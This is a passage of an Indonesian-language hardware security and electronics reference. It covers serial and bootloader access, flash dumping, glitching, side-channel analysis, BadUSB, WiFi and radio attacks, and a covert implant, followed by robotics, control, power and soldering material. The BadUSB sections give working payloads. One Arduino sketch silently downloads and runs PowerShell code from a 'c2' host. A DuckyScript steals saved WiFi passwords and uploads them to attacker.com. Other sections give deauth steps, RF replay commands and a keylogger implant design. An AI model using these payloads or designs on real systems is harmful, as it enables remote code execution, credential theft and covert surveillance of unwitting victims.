   JANGAN hubungkan VCC kecuali device tidak punya power!
   Pastikan level voltage match (3.3V device + 5V adapter = RUSAK)

3. Tentukan baud rate jika tidak diketahui:
   # Hitung secara manual dari oscilloscope:
   # Baud = 1 / (lebar bit terpendek dalam detik)
   # Atau coba automated dengan minicom/putty
   # Baud rate umum: 9600, 38400, 57600, 115200, 230400

4. Buka terminal:
   screen /dev/ttyUSB0 115200
   # atau
   minicom -b 115200 -D /dev/ttyUSB0

5. Power on target — amati output boot

Hal yang Dicari di Boot Log

  • OS version & kernel version
  • U-Boot messages (bootloader) — sering bisa interrupt boot dengan key
  • Filesystem mount points
  • Network interface MAC & IP
  • Error messages yang mengandung path, library, binary names
  • Login prompt — coba default credentials (admin/admin, root/root, root/blank)

U-Boot Exploitation

# Interrupt U-Boot dengan tekan 'any key' saat countdown:
3... 2... 1... [tekan Enter/Space]
U-Boot >

# U-Boot commands berguna:
printenv              # Lihat environment variables
setenv bootargs "... init=/bin/sh"  # Boot ke shell
md.l 0x80000000 64    # Memory dump 64 words
mw.l 0x80000000 0x1234 # Memory write
nand read 0x81000000 0x0 0x100000  # Baca NAND flash ke RAM
tftp 0x81000000 firmware.bin       # Load via TFTP

SPI Flash & EEPROM Dump

Identifikasi Flash Chip

Flash SPI NOR biasanya SOIC-8 atau WSON-8. Chip populer:

ManufacturerPart SeriesKapasitasInterface
WinbondW25Q16/32/64/1282–16 MBSPI (JEDEC)
MacronixMX25L series1–256 MBSPI (JEDEC)
Spansion/CypressS25FL series1–256 MBSPI (JEDEC)
MicrochipSST25/261–8 MBSPI
GigaDeviceGD25Q series1–128 MBSPI

Dump dengan CH341A + flashrom

# Install flashrom
sudo apt install flashrom

# Hubungkan clip SOIC-8 ke CH341A dan ke chip
# Pin assignment SOIC-8 (Winbond W25Q):
# 1=CS, 2=MISO(DO), 3=WP#, 4=GND, 5=MOSI(DI), 6=CLK, 7=HOLD#, 8=VCC

# Detect chip
flashrom -p ch341a_spi

# Dump firmware
flashrom -p ch341a_spi -r firmware_dump.bin

# Verifikasi dump (baca 2x, bandingkan)
flashrom -p ch341a_spi -r firmware_dump2.bin
md5sum firmware_dump.bin firmware_dump2.bin

# Tulis firmware termodifikasi
flashrom -p ch341a_spi -w modified_firmware.bin

Analisis Firmware dengan binwalk

# Signature scan
binwalk firmware_dump.bin

# Extract semua filesystem/archive
binwalk -e firmware_dump.bin

# Recursive extract
binwalk -Me firmware_dump.bin

# Entropy analysis (detect encrypted sections)
binwalk -E firmware_dump.bin

# Output setelah extract: /root/_firmware_dump.bin.extracted/
# Cari: /etc/passwd, /etc/shadow, credentials, private keys, hardcoded creds
grep -r "password" ./_firmware_dump.bin.extracted/ 2>/dev/null
find . -name "*.pem" -o -name "*.key" -o -name "id_rsa"

In-Circuit Dump (tanpa desoldering)

Chip dapat dibaca in-circuit jika MCU di-halt terlebih dahulu (via JTAG/SWD). Pastikan:

  • Target system OFF atau MCU di-halt agar tidak conflict di SPI bus
  • Pull CS line ke HIGH secara manual untuk isolasi sementara jika perlu
  • Clip Pomona 5250 atau IC test clip 8-pin untuk akses non-destructive

Fault Injection & Voltage Glitching

Konsep Fault Injection

Menyebabkan kesalahan sementara pada hardware untuk bypass proteksi, skip instruksi, atau corrupt critical data. Dua teknik utama:

Voltage Glitching

Injeksi singkat pada VCC — menyebabkan CPU miskompute instruksi. Target: saat membaca protection byte, saat check password, saat verifikasi signature.

Clock Glitching

Masukkan siklus clock ekstra atau hilangkan satu siklus. CPU mengeksekusi instruksi dengan state tidak valid. Lebih mudah timing-nya di beberapa target.

Parameter Glitch

ParameterDeskripsiNilai Tipikal
Glitch offsetDelay dari trigger ke glitchPerlu sweep lebar
Glitch widthDurasi glitch (VCC drop)10–200 nanosecond
Glitch voltageSeberapa jauh VCC diturunkanBiasanya 50–80% normal VCC
TriggerKapan mulai glitch — IO event, power trace, atau timerRising edge UART TX, atau GPIO output target

Setup Glitch DIY (Budget)

/* Minimal DIY glitch setup dengan MOSFET cepat */
/* N-Channel MOSFET (BSS138 atau AO3400) sebagai shunt ke GND */

Komponen:
- MOSFET N-CH: AO3400 atau BSS138
- Resistor gate: 10Ω (jaga stabilitas)
- Kapasitor decoupling: 10µF dekat target VCC
- MCU controller: STM32 atau RP2040 (resolusi timer ns)

Koneksi:
Target VCC ─── 10Ω ─── MOSFET Drain
MOSFET SourceGND
MOSFET GateController GPIO (via 10Ω)

/* Pulse GPIO HIGH selama Tglitch nanoseconds */
/* Timing kritis — gunakan DMA atau hardware timer */

Side-Channel Analysis (SCA)

Jenis Side-Channel Attack

TipeSinyal yang DiukurTarget InformasiTool
SPA (Simple Power)Konsumsi arus VCCKey bits, branching codeShunt resistor + oscilloscope/ADC
DPA (Differential Power)Konsumsi arus (statistical)Kunci kriptografi AES/DESChipWhisperer + analisis DPA
EM (Electromagnetic)Emisi RF dari ICKunci kriptografi, program flowRF probe + oscilloscope
TimingWaktu eksekusiSecret comparison, operasi kriptografiLogic analyzer, precise timer
AcousticSuara komponenRSA operasi (kapasitor koil whine)Microphone sensitif

Setup Power Analysis Minimal

/* Shunt resistor method */
/* Pasang resistor 10–100Ω seri di jalur GND target */
/* Ukur tegangan drop = proportional ke arus = proportional ke aktivitas CPU */

Target GND ─── 10Ω shunt ─── GNDOscilloscope CH1
              (differential probe atau
               probe CH1 dan CH2,
               ukur differential)

/* Setup ChipWhisperer — lebih bersih: */
/* CWNano board punya built-in shunt + 10-bit/200MSps ADC */
/* Capture power trace saat target mengeksekusi crypto */

DPA — Differential Power Analysis (Konsep)

/* DPA attack terhadap AES: */
1. Encrypt banyak plaintext acak (biasanya 1000–100000 traces)
2. Rekam power trace tiap operasi
3. Pilih target intermediate value (misal: output S-Box byte ke-0)
4. Untuk setiap kandidat key byte (0–255):
   - Hitung prediksi intermediate value untuk tiap plaintext
   - Bagi traces ke dua kelompok berdasarkan bit target
   - Hitung difference-of-means
5. Kandidat key yang menghasilkan peak korelasi tertinggi = key byte yang benar

Bad USB & HID Attack Devices

Prinsip Bad USB

USB HID (Human Interface Device) attack — perangkat menyamar sebagai keyboard/mouse, diterima OS tanpa driver khusus, mengirim keystroke otomatis.

Platform Bad USB

PlatformMCUKecepatanFitur ExtraForm Factor
Rubber DuckyAT32UC31000 wpmEncrypted payload, SD cardUSB-A flash drive
RP2040 (DigiSpark)RP2040Sangat cepatDual core, PIOKecil, murah ~$3
Flipper ZeroSTM32WB55MediumMulti-attack: RFID/BLE/IR/RFHandheld
O.MG CableESP8266/customMediumWiFi implant di kabel USBKabel USB tipikal
Bash BunnyLinux SoCFastMass storage, Ethernet, WiFiUSB-A stick besar

Build DIY Bad USB — STM32F103 (BluePill)

/* STM32F103C8T6 (BluePill) sebagai HID keyboard */
/* Framework: Arduino + USB_HID library atau libopencm3 */

// Contoh payload sederhana (Arduino + Keyboard.h)
#include <Keyboard.h>

void setup() {
  Keyboard.begin();
  delay(1000); // Tunggu OS recognize device
  
  // Windows: buka Run dialog, jalankan PowerShell
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(500);
  
  Keyboard.print("powershell -w h -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://c2/p')\");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
}

void loop() {}

Rubber Ducky Script (DuckyScript 3.0)

REM Exfil WiFi passwords via PowerShell
DELAY 1000
GUI r
DELAY 500
STRING powershell -NoP -W Hidden -Exec Bypass
ENTER
DELAY 800
STRING (netsh wlan show profiles) | Select-String ':(.*)' | %{$n=$_.Matches.Groups[1].Value.Trim(); $p=(netsh wlan show profile name="$n" key=clear) -match 'Key Content.*: (.*)'; if($p){Write-Output "$n : $(($p[0] -split ':')[1].Trim())"}} | Out-File $env:TEMP\w.txt; curl -F 'f=@$env:TEMP\w.txt' https://attacker.com/u
ENTER

WiFi Attack Hardware

Platform WiFi Attack

PlatformChip WiFiKapabilitasHarga Approx
WiFi PineappleAR9331 + AR9887Evil twin, MITM, deauth, karma attack~$120 (ori)
ESP32 deautherESP32Deauth, beacon flood, probe flood~$5 modul
Alfa AWUS036ACHRTL8812AUMonitor mode + injection, dual-band~$40
Raspberry Pi + adapterVariousFull attack platform, hostapd evil APVaries

Build DIY Deauther dengan ESP8266

/* ESP8266 Deauther — firmware: github.com/SpacehuhnTech/esp8266_deauther */
/* Upload firmware via Arduino IDE + ESP8266 board package */
/* Interface: WiFi AP "pwned" atau Serial CLI */

Board settings Arduino:
Board      : NodeMCU 1.0 / Generic ESP8266 Module
Flash Size : 4MB (1MB SPIFFS)
Upload Speed: 115200

Setelah flash, connect ke AP "pwned" password "deauther"
Web interface di 192.168.4.1
Fitur: scan → pilih target → deauth/beacon/probe attack

WiFi Adapter untuk Monitor Mode & Injection

AdapterChipsetMonitorInjectBand
Alfa AWUS036ACHRTL8812AU2.4 + 5 GHz
TP-Link WN722N v1AR92712.4 GHz saja
Alfa AWUS036NHAAR92712.4 GHz saja
Alfa AWUS1900RTL8814AUDual band, 4 antena

SDR & SIGINT Collection

Setup SIGINT dengan RTL-SDR + GNU Radio / SDR#

# Install GNU Radio + RTL-SDR drivers (Linux)
sudo apt install gnuradio rtl-sdr gr-osmosdr

# Test RTL-SDR
rtl_test -t

# Capture raw IQ sample ke file
rtl_sdr -f 433920000 -s 2000000 -g 40 capture.iq

# Decode berbagai protokol dengan multimode:
rtl_433 -f 433920000   # Auto-decode ISM 433MHz devices
dump1090 --interactive  # ADS-B (aircraft tracking)
rtl_fm -f 100.1e6 -M wbfm -r 44100 | aplay -r 44100 -f S16_LE  # FM radio

Target Sinyal untuk SIGINT Research

TargetFrekuensiModulasiTool Decode
FM Radio88–108 MHzWBFMrtl_fm, GQRX
ADS-B (Pesawat)1090 MHzPPMdump1090, tar1090
AIS (Kapal)161.975/162.025 MHzGMSKrtl-ais
ACARS (Pesawat)129.125 MHzAM + ACARSacarsdec
Trunked RadioVaries (DMR/P25/NXDN)DigitalDSD+, OP25
Remote 433MHz433.92 MHzOOK/ASKrtl_433, URH
Weather Sonde400–406 MHzFSKRS
NOAA Weather Sat137.1–137.9 MHzAPT/LRPTWXtoImg, SATDUMP

Replay Attack — Remote Controls

/* Capture dan replay sinyal remote 433MHz */

# Dengan HackRF One:
# Capture
hackrf_transfer -r capture.raw -f 433920000 -s 8000000 -l 40 -g 62

# Replay (transmit)
hackrf_transfer -t capture.raw -f 433920000 -s 8000000 -x 47

# Analisis dengan Universal Radio Hacker (URH)
# GUI tool untuk capture, analyze, decode, fuzzing protokol RF
pip3 install urh
urh  # Launch GUI

Flipper-Class Multi-Attack Devices

Flipper Zero — Arsitektur Hardware

KomponenPartFungsi
MCU UtamaSTM32WB55ARM Cortex-M4 + M0 coprocessor
Sub-GHz RadioCC1101300–928 MHz, ASK/OOK/FSK/GFSK/MSK
NFCST25R391613.56 MHz, ISO14443A/B, ISO15693, FeliCa
RFID 125kHzDedicated circuitEM4100, HID, Indala clone/emulate
BluetoothSTM32WB55 internalBLE 5.0
IR TransceiverSFH4545 + TSOP75338TX/RX infrared, TV/AC remote
iButton1-WireDallas key clone/emulate
GPIOI2C, SPI, UART, 3.3V/5V
Display128×64 monochrome LCD

Build Clone Flipper — Budget Alternative

Komponen untuk build multi-tool device sendiri:

KomponenPartHargaFungsi
MCUSTM32WB55 atau ESP32-S3$5–15Core controller
Sub-GHzCC1101 module$2–5315/433/868/915 MHz
NFCPN532 module$5–813.56 MHz RFID/NFC
RFID 125kEM4100 reader coil + circuit$3LF RFID
IR TX/RXTSOP38238 + IR LED$1Infrared
DisplaySSD1306 128×64 OLED$2Display
BatteryLiPo 1000mAh + TP4056$3Power
USB HIDNative USB di MCUBadUSB capability

Implant & Covert Hardware Design

Desain Implant Hardware — Prinsip

Perangkat implant dirancang untuk miniaturisasi, daya rendah, dan deteksi minimal:

  • Ukuran minimal: Target PCB <20×20mm. Gunakan komponenBGA dan 0201/0402.
  • Daya rendah: Sleep mode sebagian besar waktu. Wake on RF/trigger.
  • RF covert: Transmit burst singkat. Frequency hop. Spread spectrum.
  • Power harvesting: RF energy harvest (915MHz), USB VBUS, atau sel surya kecil.
  • Tamper resistance: Epoxy encapsulation, mesh tamper detection.

Contoh Implant Platform Minimal

MINIMAL KEYLOGGER/EXFIL IMPLANT:

MCU     : nRF52840 (ARM CM4, BLE 5.0, Ultra-low power)
Storage : W25Q32 SPI Flash (4MB keylog buffer)
Radio   : Onboard BLE (native) + optional CC1101 SPI
Power   : USB VBUS 5V → AMS1117-3.3 LDO → nRF
PCB     : 4-layer, 18×22mm

/* Operasi: */
- Masuk antara keyboard USB dan host
- Log setiap keystroke ke SPI flash
- Expose BLE endpoint untuk dump via app
- Atau: inject ke WiFi AP terdekat via nRF Wifi (nRF7002)

/* Form factor: PCB terenkapulasi epoxy dalam enclosure mirip USB hub */
⚠ Legal Notice
Pembuatan dan penggunaan implant hardware tanpa otorisasi merupakan tindakan ilegal di sebagian besar yurisdiksi. Informasi ini untuk keperluan authorized penetration testing, penelitian keamanan, dan pembuatan capability untuk institusi yang memiliki kewenangan hukum.

Motor & Aktuator untuk Robotika

Jenis Motor

JenisKontrolKeunggulanKelemahanAplikasi
DC BrushedTegangan/PWM + H-BridgeMurah, sederhana, torsi tinggiBrush aus, noise EMIRobot sederhana, fan
DC Brushless (BLDC)ESC atau FOC controllerEfisien, awet, rpm tinggiDriver kompleks, mahalDrone, mobil listrik, gimbal
StepperStep + direction pulsePresisi posisi tanpa encoderVibration, lose step jika overloadCNC, 3D printer, actuator presisi
Servo RCPWM 50Hz, 1–2ms pulseMudah, posisi terkontrolRange terbatas (180°)Robot arm, steering
Linear ActuatorDC motor + gearboxForce besar, linear motionLambatDoor, press mechanism

H-Bridge — Driver Motor DC

Sirkuit 4 switch yang memungkinkan motor berputar dua arah:

/* Konfigurasi H-Bridge */
        VCC
    SW1 │ SW2
    ────┼────
  SW3 │ │ │ SW4
    ──┴─┴─┴──
       GND

Forward : SW1+SW4 ON, SW2+SW3 OFF
Reverse : SW2+SW3 ON, SW1+SW4 OFF
Brake   : SW1+SW2 ON atau SW3+SW4 ON
Coast   : Semua OFF

/* IC H-Bridge populer: */
- L293D    : 600mA/ch, 4.5–36V, internal dioda, 2 motor
- L298N    : 2A/ch, 5–46V, populer untuk medium robot
- DRV8833  : 1.5A/ch, 2.7–10.8V, compact, low quiescent
- TB6612FNG: 1.2A/ch, 2.7–13.5V, efisien, compact
- BTS7960  : 43A, untuk motor besar (kendaraan)

Stepper Motor Driver

Driver ICArus MaxMicrosteppingInterface
A49882A1/1, 1/2, 1/4, 1/8, 1/16STEP/DIR
DRV88252.5AHingga 1/32STEP/DIR
TMC22092A (2.8A peak)Hingga 1/256, StealthChopSTEP/DIR + UART
TMC51603AHingga 1/256, SPI configSTEP/DIR + SPI

Servo Control

/* Standard RC Servo: PWM 50Hz (20ms period) */
/* Pulse width menentukan posisi: */
/* 1ms (0°) ... 1.5ms (90°) ... 2ms (180°) */

// Arduino servo example
#include <Servo.h>
Servo myServo;
myServo.attach(9);   // GPIO9
myServo.write(90);  // 90 derajat

// STM32 HAL — PWM direct:
// TIM period = 20ms, pulse width = 1000–2000 us
TIM2->CCR1 = 1500;  // 1.5ms = 90 degrees

Sensor & Persepsi Robot

Kategori Sensor

KategoriSensorInterfacePart Contoh
JarakUltrasonikTrig/Echo GPIOHC-SR04 (2cm–400cm)
JarakIR ToFI2CVL53L0X, VL53L1X
JarakLiDARUART/SPITFmini, RPLiDAR A1
IMUAccelerometer + GyroI2C/SPIMPU6050, ICM-42688, LSM6DSO
IMU9-DOF + MagnetometerI2CICM-20948, BNO055
EncoderIncremental quadratureGPIO interruptLPD3806, AS5600 (magnetic)
Suhu/HumidityDigital1-Wire/I2CDS18B20, DHT22, BME280
TekananBarometerI2CBMP280, MS5611
KameraRGB/GrayscaleMIPI CSI/SPIOV7670, ArduCam
GPSGNSSUART (NMEA)u-blox NEO-M8N, BN-880

MPU6050 — IMU I2C

/* MPU6050: 3-axis accel + 3-axis gyro, DMP onboard */
/* I2C address: 0x68 (AD0=LOW) atau 0x69 (AD0=HIGH) */

/* Register penting: */
PWR_MGMT_1   = 0x6B  // Wake up: write 0x00
ACCEL_XOUT_H = 0x3B  // 6 bytes: AX, AY, AZ (big-endian 16-bit)
GYRO_XOUT_H  = 0x43  // 6 bytes: GX, GY, GZ
TEMP_OUT_H   = 0x41  // Temperature

/* Full-scale range */
Accel: ±2g / ±4g / ±8g / ±16g (default ±2g, LSB = 16384/g)
Gyro:  ±250 / ±500 / ±1000 / ±2000 dps (default ±250, LSB = 131/(°/s))

/* Konversi: */
accel_x_ms2 = raw_x / 16384.0 × 9.81
gyro_x_dps  = raw_x / 131.0

Sistem Kontrol & PID

Kontrol Loop Dasar

/* Closed-loop control system */
Setpoint → [Controller] → [Plant/Actuator] → Output
                              ↑                   │
                         [Feedback] ←──────────────┘
                          (Sensor)

PID Controller

Proportional–Integral–Derivative — controller paling umum digunakan dalam robotika dan industri.

u(t) = Kp×e(t) + Ki×∫e(t)dt + Kd×(de/dt)
TermFormulaEfek
Proportional (P)Kp × e(t)Output proporsional error. Kurangi rise time, tapi ada steady-state error.
Integral (I)Ki × ∫e dtEliminasi steady-state error. Bisa menyebabkan overshoot dan wind-up.
Derivative (D)Kd × de/dtPrediksi error, kurangi overshoot, tapi amplifikasi noise.

Implementasi PID Digital

typedef struct {
  float Kp, Ki, Kd;
  float integral, prev_error;
  float output_min, output_max;
  float dt;  // sampling time (seconds)
} PID_t;

float PID_update(PID_t *pid, float setpoint, float measurement) {
  float error      = setpoint - measurement;
  pid->integral   += error × pid->dt;
  
  /* Anti-windup clamp */
  if (pid->integral > pid->output_max / pid->Ki)
    pid->integral = pid->output_max / pid->Ki;
  
  float derivative = (error - pid->prev_error) / pid->dt;
  pid->prev_error  = error;
  
  float output = pid->Kp * error + pid->Ki * pid->integral + pid->Kd * derivative;
  
  /* Clamp output */
  if (output > pid->output_max) output = pid->output_max;
  if (output < pid->output_min) output = pid->output_min;
  
  return output;
}

Tuning PID — Metode Ziegler-Nichols

METODE ZIEGLER-NICHOLS:
1. Set Ki=0, Kd=0
2. Naikkan Kp pelan-pelan sampai output berosilasi stabil
3. Catat: Ku (ultimate gain) dan Tu (period osilasi)
4. Set nilai PID berdasarkan tabel:

P only  : Kp=0.5×Ku
PI      : Kp=0.45×Ku, Ki=0.54×Ku/Tu
PID     : Kp=0.6×Ku,  Ki=1.2×Ku/Tu, Kd=3×Ku×Tu/40

/* Untuk robotika modern: gunakan Auto-tuning library */
/* atau trial-error: P → PI → PID */

Power Supply & Manajemen Baterai

Baterai LiPo / Li-Ion

ParameterNilaiCatatan
Voltage nominal3.7V per cell
Voltage fully charged4.2V per cellJangan melebihi ini
Voltage cut-off3.0V per cellDi bawah = kerusakan permanen
C rating1C = full charge/discharge dalam 1 jamDrone LiPo: 25C–100C discharge
Charging current0.5C–1C amanMax 2C untuk LiPo fast charge

Charging IC — TP4056

IC charger LiPo populer untuk proyek DIY. Tegangan input 4–8V, output charge current max 1A (configurable via R_prog).

I_charge (mA) = 1000 / R_prog (kΩ)

Contoh: R_prog = 1.2kΩ → I_charge = 833mA. LED merah = charging, LED biru = selesai.

Fuel Gauge — MAX17048

/* IC fuel gauge I2C untuk estimasi SOC (State of Charge) */
/* I2C address: 0x36 */
/* Register VCELL (0x02): voltase baterai, 78.125 µV per LSB */
/* Register SOC (0x04): % charge, 1/256% per LSB */

uint16_t vcell_raw = i2c_read16(0x36, 0x02);
float voltage = (vcell_raw >> 4) × 0.00125;  // Volts
uint16_t soc_raw = i2c_read16(0x36, 0x04);
float soc_pct = soc_raw / 256.0;  // Percent 0–100

Buck Converter — Hitung Nilai Komponen

/* Buck converter: Vin=12V, Vout=5V, Iout=2A, fsw=400kHz */

/* Duty cycle: */
D = Vout / Vin = 5/12 = 0.417 = 41.7%

/* Minimum induktansi (ripple current 20% Iout): */
ΔIL = 0.2 × 2A = 0.4A
L = (Vin - Vout) × D / (fsw × ΔIL)
L = (12-5) × 0.417 / (400000 × 0.4) = 18.2µH → pilih 22µH

/* Kapasitor output (ripple voltage 50mV): */
ΔV = ΔIL / (8 × fsw × Cout)
Cout = ΔIL / (8 × fsw × ΔV)
Cout = 0.4 / (8 × 400000 × 0.05) = 2.5µF → pilih 10µF (margin)

Peralatan Lab Elektronika

Oscilloscope

Instrumen paling penting untuk debug elektronika — menampilkan sinyal vs waktu.

SpekEntry LevelRecommendedProfessional
Bandwidth50 MHz100–200 MHz500 MHz+
Sample Rate1 GSa/s1–2 GSa/s5 GSa/s+
Channels22–44+
ContohDS1054Z ($300)MSO5074 ($800)MSO6 series
Budget DIYHantek 6022BE ($50)

Logic Analyzer

Capture dan decode digital signals — UART, SPI, I2C, CAN, I2S, dll.

  • Saleae Logic 8: 8 channel, 100MHz, software decode sangat lengkap (~$500)
  • FX2LAFW clone: Saleae clone, 8 channel, $10–20, kompatibel Sigrok/PulseView
  • DreamSourceLab DSLogic: 16 channel, 400MHz, $100
  • Oscilloscope MSO: Mixed signal oscilloscope = scope + logic analyzer

Multimeter

FungsiCara PakaiCatatan
DC VoltageProbe merah ke +, hitam ke GNDPilih range sedikit di atas perkiraan V
ContinuityMode buzzer — beep = koneksi adaIdeal untuk trace PCB, short detection
ResistansiKomponen off, probe paralelKomponen on-board bisa kasih bacaan salah
DiodeProbe merah ke anodeTampilkan Vf — identifikasi dioda, LED
AC VoltageMode VACJangan gunakan untuk sinyal frekuensi tinggi
DC CurrentSeri di rangkaian, range A/mAMeter rusak jika salah pasang — hati-hati!

Bench Power Supply

Wajib punya adjustable DC supply untuk pengembangan:

  • Spek minimal: 0–30V, 0–5A, CV/CC mode, display voltase+arus
  • Recommended: Rigol DP832 (triple output, 30V/3A, 5V/3A, programmable)
  • Budget: Korad KA3005P atau clone bench supply dari AliExpress
  • Protip: Current limit ke arus minimal saat pertama menghidupkan PCB baru — proteksi dari short circuit

Software Analisis

ToolFungsi
Sigrok / PulseViewOpen-source logic analyzer frontend, decode banyak protokol
GNU RadioSDR flowgraph — capture, process, decode RF signal
AudacityAnalisis sinyal audio, visualize AM/FM demodulasi
Ghidra / IDAReverse engineering firmware yang di-dump dari flash
binwalkFirmware analysis, extract filesystem, entropy analysis
WiresharkCapture + decode network — termasuk USB packet capture
OpenOCDJTAG/SWD debugging, flash programming
QEMUEmulasi firmware ARM/MIPS untuk analisis tanpa hardware

Soldering & Rework SMD

Pilihan Solder

JenisKomposisiMelting PointCocok untuk
Leaded 60/40Sn60/Pb40183°CMudah, glossy, flow bagus
Leaded 63/37Sn63/Pb37183°C (eutectic)Kualitas terbaik, single melting point
Lead-free SAC305Sn96.5/Ag3/Cu0.5217–221°CRoHS, sedikit lebih keras soldernya
Bismuth low-tempSn42/Bi58138°CRework komponen heat-sensitive

Suhu Soldering Iron

TaskSuhu (Leaded)Suhu (Lead-free)
THT komponen umum310–330°C360–380°C
SMD 0402–0805300–320°C340–360°C
QFP/TQFP (fine pitch)300–320°C340–360°C
Ground plane/heatsink350–370°C390–410°C
Kabel stranded320–350°C360–390°C

Teknik Solder SMD Manual

SMD DRAG SOLDER (untuk QFP/TQFP):
1. Flux lebih pada semua pin
2. Tin (tinning) tip iron dengan sedikit solder
3. Fix komponen: solder 2 pin sudut berlawanan
4. Apply flux lebih ke semua pin
5. Drag iron perlahan di sepanjang baris pin (30–45°)
6. Bridge akan terbentuk → hapus dengan wick/braid
7. Clean flux residue dengan IPA + brush

REFLOW HOT AIR (untuk QFN/BGA):
1. Apply solder paste ke pad (syringe atau stencil)
2. Tempatkan komponen dengan tweezer + alignment
3. Hot air gun: 350–380°C, flow rendah, circular motion
4. Tunggu solder reflow — komponen akan self-align
5. Cek dengan loupe atau microscope

Rework — Ganti IC SMD

PROSEDUR REMOVE IC dengan Hot Air:
1. Apply flux ke semua pin
2. Set hot air: 380–420°C (lead-free), flow 3–4
3. Panaskan merata dari atas/samping IC
4. Angkat dengan tweezer saat solder reflow (30–60 detik)
5. Bersihkan pad: wick + flux + iron
6. Verifikasi semua pad bersih dan flat

PASANG IC BARU:
1. Align pin 1 marker
2. Apply pasta flux ke pad
3. Place IC, konfirmasi alignment
4. Reflow dengan hot air atau via iron drag
💡 Tips Lab
Untuk desoldering SMD pasif (resistor, capasitor 0402/0603) tanpa hot air: sentuh kedua ujung komponen dengan dua iron tip secara bersamaan — komponen langsung terangkat. Teknik ini tidak bisa dengan satu iron. Alternatif: putus komponen dengan cutter lalu bersihkan pad secara terpisah.

Alat Rework Essential

Wajib
Soldering Station

Hakko FX-888D atau Weller WE1010. Jangan pakai iron tanpa temperature control.

Wajib
Hot Air Rework

Yihua 858D atau Quick 861DW. Wajib untuk SMD QFP/QFN, BGA rework.

Penting
Solder Wick

Desoldering braid — wajib untuk membersihkan bridge dan pad. Beli beberapa ukuran.

Penting
Flux No-Clean

Amtech NC-559-V2 atau MG Chemicals 835-P. Kunci untuk hasil solder berkualitas.

Penting
Microscope / Loupe

40× stereo microscope atau USB microscope camera. Krusial untuk SMD 0402 dan fine pitch.

Support
PCB Holder / Vise

Panavise atau third-hand holder. Bebaskan tangan untuk iron + tweezer.

ELEKTRONIKA KOMPREHENSIF — Blue Dragon Security Reference v1.0
Hardware · PCB · Hacking · Robotika